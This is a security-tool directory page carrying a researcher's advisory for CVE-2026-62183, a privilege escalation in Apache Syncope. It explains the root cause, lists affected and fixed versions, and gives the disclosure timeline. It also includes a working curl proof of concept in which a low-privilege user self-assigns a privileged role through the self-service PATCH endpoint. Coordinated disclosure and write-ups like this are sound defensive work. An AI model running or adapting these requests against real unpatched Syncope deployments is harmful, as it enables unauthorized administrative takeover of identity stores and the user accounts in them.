Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-62183 — Apache Syncope: User self-service privilege escalation | Kitploit
Tools/GitHubGitHub/nicpwns/cve-2026-62183
Vulnerability ScannersCode AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubnicpwns/cve-2026-62183

CVE-2026-62183

Apache Syncope: User self-service privilege escalation

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2026-62183 — Apache Syncope user self-service privilege escalation

Improper Privilege Management (CWE-269) in Apache Syncope. An authenticated, low-privilege user can grant themselves arbitrary roles (and group memberships, external resources, and a new realm) through the user self-service API — operations that require administrative entitlements on every other code path — and thereby become an administrator of the identity store.

This repository is the technical reference for the vulnerability: root cause, a runtime-confirmed proof of concept, and reproduction notes. A narrative account of how it was found lives separately (see Write-up).

At a glance

CVECVE-2026-62183
Vendor / productApache Software Foundation — Apache Syncope
Affected packageorg.apache.syncope.core:syncope-core-workflow-java
ClassCWE-269 Improper Privilege Management (mechanism: CWE-862 Missing Authorization)
SeverityImportant (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1
Fixed in4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x is EOL, no fix
Confirmed on3.0.16 (standalone distribution, JDK 17), domain Master

Summary

Apache Syncope's user self-service update endpoint, PATCH /users/self/{key}, requires only isAuthenticated(). The shared logic layer skips the authorization check for "self" operations, while the data binder still applies privileged request fields (roles, memberships, resources, auxClasses, realm). The result is a straightforward privilege escalation: a low-privilege user self-assigns a privileged role and immediately gains its entitlements — including, with a suitably powerful role, full administration of all users. Where self-registration is enabled, the same flaw applies to doCreate, so an unauthenticated attacker can register an already-privileged account.

Preconditions

The vulnerability applies when one of the following user workflow adapters is configured (this is what the vendor advisory scopes it to):

  • the all-Java user workflow adapter, or
  • the Flowable user workflow adapter with a BPMN definition that does not require admin approval for self-registration / self-update.

In production, self-service is normally driven through the Enduser UI, which does not expose role assignment; reaching this requires the Core REST API to be callable by the low-privilege user. The runtime PoC below uses the Standalone Distribution, which Apache documents as evaluation-only and which ships seed data (the user bellini, the built-in roles User manager / User reviewer) — that seed data is not present in a general deployment. These are honest constraints on real-world exploitability, not on the correctness of the flaw.

Root cause

Request flow for PATCH /users/self/{key}:

root@kitploit:~
UserSelfService.update(UserUR)            common/.../rest/api/service/UserSelfService.java   @PATCH @Path("users/self/{key}")
  → UserSelfLogic.update(...)             core/idrepo/logic/.../UserSelfLogic.java
    → AbstractUserLogic.doUpdate(..., self=true)
      → UserDataBinderImpl.update(...)     core/provisioning-java/.../data/UserDataBinderImpl.java

1. The endpoint authorizes only "is anyone logged in?" — UserSelfLogic.update:

root@kitploit:~
@PreAuthorize("isAuthenticated() "
    + "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
    + "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
    ...
    ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync);   // self = true

No entitlement (no USER_UPDATE, no role/realm scope) is required.

2. The authorization check is skipped for self operations — AbstractUserLogic.doUpdate:

root@kitploit:~
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
    ...
    if (!self) {                                   // self == true: the whole block is skipped
        Set<String> authRealms = RealmUtils.getEffective(
                AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
        userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
    }
    ...
}

3. The binder applies privileged fields regardless — UserDataBinderImpl.update(...) applies role ADD/DELETE, memberships(...) (groups) and fill(...) (resources / realm) straight from the request, with no caller-privilege check — that check is supposed to live in the Logic layer that step 2 skips. The admin path (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) does run securityChecks; the self path does not.

The escalated role takes effect at authentication: AuthDataAccessor.getUserAuthorities(user) walks userDAO.findAllRoles(user) and unions each role's entitlements, so the self-assigned role is live on the user's next request/login. The same if (!self) skip is present in doCreate, extending the flaw to self-registration.

In short: two layers each assumed the other enforced the privilege check. The endpoint delegated authorization to the Logic layer; the Logic layer skipped it for self; the binder trusted the Logic layer to have gate-kept the fields.

Proof of concept

A normal authenticated user with no roles self-assigns the built-in privileged role User manager (which grants USER_READ over /) and then reads an arbitrary account. No admin action, no special configuration. Full script: poc.sh.

root@kitploit:~
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'

# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
 "realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
 "plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
 {"schema":"userId","values":["[email protected]"]}]}'

AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 403

# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
 "key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
 -w '%{http_code}\n'                                                          # -> 200 ; entity.roles=["User manager"]

# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 200

Observed: [1] 403 → [2] 200 (roles now ["User manager"]) → [3] 200. The assignment persists (confirmed via the admin view of the user). The same request shape also self-assigns memberships (groups), resources (triggering provisioning to external systems) and a new realm.

The PoC deliberately uses only legitimate, documented API calls to demonstrate the authorization gap. It is a minimal proof, not a weaponized exploit — see Responsible use.

Reproducing it

See BUILD.md for a no-Docker, no-Maven runtime setup (standalone Tomcat + Temurin JDK 17) and readiness checks, then:

root@kitploit:~
B=http://localhost:9080/syncope/rest ./poc.sh

Impact

Any authenticated user — including the lowest-privilege self-service account — can grant themselves the entitlements of any defined role. With a role carrying broad USER_* / admin entitlements, this is takeover of the identity store: read/modify/delete all users, plus account provisioning onto connected external systems via resources / memberships. Where self-registration is enabled, an unauthenticated attacker can register directly into a privileged state (PR:N, CVSS 9.8). The concrete entitlements gained depend on the roles actually defined in the target deployment.

How it was fixed

Fixed in 4.0.7 / 4.1.2 under SYNCOPE-1983 ("Requiring admin approval for self changes beyond attributes"). UserCR / UserUR gained a requiresApproval() predicate (true when a request touches roles, memberships, groups, resources, relationships, linked accounts, or user/group managers), and the workflow adapters route such self-requests through admin approval instead of applying them directly. 3.0.x is end-of-life and does not receive the fix — affected 3.0.x users must upgrade to a supported branch.

Disclosure timeline

Date (2026)Event
Jun 28Reported privately to [email protected] with root-cause analysis and runtime PoC
Jul 13Apache Syncope PMC confirmed; CVE-2026-62183 reserved; severity assessed important
Jul 20Fixes released (4.0.7 / 4.1.2); vendor advisory and CVE record published

Credit

Credited finders, per the CVE record: Nic Jones (@NicPWNs) and elin kai. This repository documents the source-level analysis and runtime-confirmed PoC contributed by Nic Jones.

Write-up

A narrative account of the research — methodology, the Apache-project audit that surfaced it, and how it was runtime-confirmed — is on my blog: Self-Service to Admin: A Privilege Escalation in Apache Syncope.

References

  • CVE record — https://www.cve.org/CVERecord?id=CVE-2026-62183
  • Apache vendor advisory (announce thread) — https://lists.apache.org/thread/6r8cngvy43y2yk4jj3w060dt8vx0yzpr
  • Apache Syncope security advisories — https://syncope.apache.org/security
  • Fix commit ([SYNCOPE-1983]) — https://github.com/apache/syncope/commit/4367f4345cb298eb0b327f037ca0807b5b84ac76

Responsible use

This material is published for defensive and educational purposes after coordinated disclosure and the release of fixed versions. The PoC uses only legitimate API calls to demonstrate the authorization flaw; it is not a mass-exploitation tool. Do not use it against systems you are not authorized to test. If you run Apache Syncope, upgrade to 4.0.7 / 4.1.2 (or off 3.0.x).

Download Tool